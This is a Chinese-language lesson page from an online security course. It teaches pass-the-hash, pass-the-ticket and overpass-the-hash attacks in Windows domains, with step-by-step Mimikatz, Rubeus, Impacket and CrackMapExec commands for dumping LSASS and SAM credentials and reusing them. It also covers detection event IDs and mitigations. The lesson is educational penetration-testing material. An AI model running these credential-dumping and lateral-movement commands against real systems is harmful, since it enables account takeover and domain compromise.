0Pricing
Cyber Security Academy · 课时

哈希传递与票据传递攻击

使用凭据哈希和 Kerberos 票据进行横向移动,而无需知道明文密码。

哈希传递与票据传递攻击 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。

这些攻击为何存在

Windows 凭据协议会将身份验证秘密(NTLM 哈希、Kerberos 票据)存储在内存中。拥有 SYSTEM 权限的攻击者可以提取这些秘密,并在不知道密码的情况下重复使用它们,冒充其他用户完成身份验证。

使用 Mimikatz 提取 NTLM 哈希

Mimikatz 是 Windows 上首要的凭据提取工具。以 SYSTEM 或管理员身份运行时,它会读取 LSASS 进程内存,提取 NTLM 哈希和明文凭据。

# Run mimikatz as Admin:
mimikatz.exe

# Enable debug privilege
privilege::debug

# Dump LSASS credentials
sekurlsa::logonpasswords

# Dump local SAM hashes
lsadump::sam

使用 Mimikatz 进行哈希传递(PtH)

哈希传递会将 NTLM 哈希注入新会话,而无需知道明文密码。该哈希通过 NTLM 向远程服务进行身份验证,可有效横向移动到其他 Windows 主机。

# Pass-the-Hash with Mimikatz:
sekurlsa::pth /user:Administrator /domain:CORP \
  /ntlm:aad3b435b51404eeaad3b435b51404ee \
  /run:cmd.exe

# Opens cmd.exe authenticated as that user

使用 Impacket 进行哈希传递

Impacket 提供用于哈希传递的 Python 工具:psexec.py、smbexec.py 和 wmiexec.py 都可以直接接受 NTLM 哈希来执行远程命令。

# psexec with hash (Linux → Windows)
psexec.py CORP/Administrator@192.168.1.100 \
  -hashes aad3b435...:8846f7eaee8fb117...

# wmiexec
wmiexec.py CORP/Admin@192.168.1.100 \
  -hashes :8846f7eaee8fb117ad06bdd830b7586c

提取 Kerberos 票据

Kerberos 票据同样存储在 LSASS 内存中。Mimikatz 可以提取这些票据;Rubeus 是 Windows 上用于 Kerberos 票据操作的专用工具。

# Mimikatz: export all tickets
sekurlsa::tickets /export

# Rubeus: list tickets
Rubeus.exe triage

# Rubeus: dump specific ticket
Rubeus.exe dump /luid:0x3e7 /service:krbtgt

票据传递(PtT)

票据传递会将窃取的 Kerberos 票据注入当前会话。该票据会以其原始所有者的身份向服务进行身份验证,无需哈希或密码。

# Mimikatz: inject ticket
kerberos::ptt ticket.kirbi

# Rubeus: inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify injection
klist

远程转储 LSASS

取得立足点后,可以使用 CrackMapExec 或 Impacket 的 secretsdump 远程转储 LSASS,无需在目标主机上建立交互式会话。

# CrackMapExec
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --sam
crackmapexec smb 192.168.1.100 -u Admin -p Password123 --lsa

# Impacket secretsdump
secretsdump.py CORP/Admin:Password123@192.168.1.100

横向移动路径

取得哈希或票据后,可以进行横向移动:利用本地管理员凭据复用,通过哈希传递进入其他计算机;通过票据传递访问域服务;并以特权账户为目标,逐步提升到域管理员权限。

检测哈希传递和票据传递

防御方可以通过以下迹象检测哈希传递:事件 ID 4624(登录)显示登录类型 3,但没有对应的交互式登录;NTLM 身份验证异常;以及内存或磁盘中的 Mimikatz 特征。

# Detection event IDs:
# 4624: Logon (look for type 3 = network)
# 4776: NTLM auth (watch for unexpected hosts)
# 4769: Service ticket request (Kerberos)
# 4648: Explicit credential use

缓解措施

主要缓解措施包括:启用凭据保护(通过虚拟化保护 LSASS),限制本地管理员凭据在不同计算机之间复用(LAPS),要求特权账户加入受保护用户组,并在可能的情况下禁用 NTLM。

哈希越权传递

哈希越权传递会将 NTLM 哈希转换为 Kerberos TGT。当环境阻止 NTLM 但仍提供 Kerberos,或需要 TGT 来进一步实施 Kerberos 攻击时,这种方法非常有用。

# Mimikatz: overpass-the-hash
sekurlsa::pth /user:Admin /domain:CORP \
  /ntlm:8846f7eaee8fb117ad06bdd830b7586c \
  /run:powershell.exe

# Then in new session:
Rubeus.exe asktgt /user:Admin /rc4:8846f7ea...

快速检查

哪项 Windows 安全功能使用虚拟化来保护 LSASS 凭据存储?

总结:哈希传递与票据传递

哈希传递和票据传递是 AD 横向移动的基础。两者都利用了 Windows 在 LSASS 中缓存凭据的机制。Mimikatz 和 Impacket 让凭据提取与复用变得非常容易。应使用凭据保护、LAPS、受保护用户组,并严格监控 NTLM 和 Kerberos 身份验证事件来进行防御。

常见问题解答

「哈希传递与票据传递攻击」课时是免费的吗?

是的 — 「哈希传递与票据传递攻击」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。

「哈希传递与票据传递攻击」这节课中我会学到什么?

使用凭据哈希和 Kerberos 票据进行横向移动,而无需知道明文密码。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cyber Security Academy 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。

「哈希传递与票据传递攻击」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Cyber Security Academy 课中编写并运行代码吗?

能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. Windows 身份验证:NTLM 与 Kerberos
  2. 哈希传递与票据传递攻击
  3. Kerberoasting 与 AS-REP Roasting
  4. Active Directory 加固
← 返回 Cyber Security Academy